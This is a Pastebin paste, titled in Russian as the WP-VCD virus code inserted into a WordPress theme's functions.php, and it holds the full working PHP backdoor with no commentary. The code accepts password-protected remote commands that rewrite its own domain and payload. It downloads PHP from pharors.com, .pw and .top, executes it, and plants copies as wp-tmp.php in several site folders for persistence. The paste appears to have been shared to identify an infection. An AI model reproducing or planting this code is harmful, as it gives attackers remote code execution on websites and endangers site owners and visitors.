Advertisement
Codik

Вирус Wp-vcd Malware -вставка кода в файл темы functions.php

Aug 7th, 2019
414
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.99 KB | None | 0 0
  1. <?php
  2. if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '4fc7ba6141521eae778c1e31da5c16fc'))
  3.     {
  4. $div_code_name="wp_vcd";
  5.         switch ($_REQUEST['action'])
  6.             {
  7.                 case 'change_domain';
  8.                     if (isset($_REQUEST['newdomain']))
  9.                         {
  10.                            
  11.                             if (!empty($_REQUEST['newdomain']))
  12.                                 {
  13.                                                                            if ($file = @file_get_contents(__FILE__))
  14.                                                                             {
  15.                                                                                                  if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
  16.                                                                                                              {
  17.  
  18.                                                                                        $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
  19.                                                                                        @file_put_contents(__FILE__, $file);
  20.                                                                print "true";
  21.                                                                                                              }
  22.  
  23.  
  24.                                                                             }
  25.                                 }
  26.                         }
  27.                 break;
  28.  
  29.                                 case 'change_code';
  30.                     if (isset($_REQUEST['newcode']))
  31.                         {
  32.                            
  33.                             if (!empty($_REQUEST['newcode']))
  34.                                 {
  35.                                                                            if ($file = @file_get_contents(__FILE__))
  36.                                                                             {
  37.                                                                                                  if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
  38.                                                                                                              {
  39.  
  40.                                                                                        $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
  41.                                                                                        @file_put_contents(__FILE__, $file);
  42.                                                                print "true";
  43.                                                                                                              }
  44.  
  45.  
  46.                                                                             }
  47.                                 }
  48.                         }
  49.                 break;
  50.                
  51.                 default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
  52.             }
  53.            
  54.         die("");
  55.     }
  56.  
  57. $div_code_name = "wp_vcd";
  58. $funcfile      = __FILE__;
  59. if(!function_exists('theme_temp_setup')) {
  60.     $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
  61.     if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
  62.        
  63.         function file_get_contents_tcurl($url)
  64.         {
  65.             $ch = curl_init();
  66.             curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
  67.             curl_setopt($ch, CURLOPT_HEADER, 0);
  68.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  69.             curl_setopt($ch, CURLOPT_URL, $url);
  70.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  71.             $data = curl_exec($ch);
  72.             curl_close($ch);
  73.             return $data;
  74.         }
  75.        
  76.         function theme_temp_setup($phpCode)
  77.         {
  78.             $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
  79.             $handle   = fopen($tmpfname, "w+");
  80.            if( fwrite($handle, "<?php\n" . $phpCode))
  81.            {
  82.            }
  83.             else
  84.             {
  85.             $tmpfname = tempnam('./', "theme_temp_setup");
  86.             $handle   = fopen($tmpfname, "w+");
  87.             fwrite($handle, "<?php\n" . $phpCode);
  88.             }
  89.             fclose($handle);
  90.             include $tmpfname;
  91.             unlink($tmpfname);
  92.             return get_defined_vars();
  93.         }
  94.        
  95.  
  96. $wp_auth_key='fdaa79a46958cbc1ce3a557718ec5670';
  97.         if (($tmpcontent = @file_get_contents("http://www.pharors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.pharors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
  98.  
  99.             if (stripos($tmpcontent, $wp_auth_key) !== false) {
  100.                 extract(theme_temp_setup($tmpcontent));
  101.                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  102.                
  103.                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  104.                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  105.                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  106.                         @file_put_contents('wp-tmp.php', $tmpcontent);
  107.                     }
  108.                 }
  109.                
  110.             }
  111.         }
  112.        
  113.        
  114.         elseif ($tmpcontent = @file_get_contents("http://www.pharors.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
  115.  
  116. if (stripos($tmpcontent, $wp_auth_key) !== false) {
  117.                 extract(theme_temp_setup($tmpcontent));
  118.                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  119.                
  120.                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  121.                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  122.                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  123.                         @file_put_contents('wp-tmp.php', $tmpcontent);
  124.                     }
  125.                 }
  126.                
  127.             }
  128.         }
  129.        
  130.                 elseif ($tmpcontent = @file_get_contents("http://www.pharors.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
  131.  
  132. if (stripos($tmpcontent, $wp_auth_key) !== false) {
  133.                 extract(theme_temp_setup($tmpcontent));
  134.                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  135.                
  136.                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  137.                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  138.                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  139.                         @file_put_contents('wp-tmp.php', $tmpcontent);
  140.                     }
  141.                 }
  142.                
  143.             }
  144.         }
  145.         elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  146.             extract(theme_temp_setup($tmpcontent));
  147.            
  148.         } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  149.             extract(theme_temp_setup($tmpcontent));
  150.  
  151.         } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  152.             extract(theme_temp_setup($tmpcontent));
  153.  
  154.         }                
  155.     }
  156. }
  157.  
  158. //$start_wp_theme_tmp
  159. //wp_tmp
  160. //$end_wp_theme_tmp
  161. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement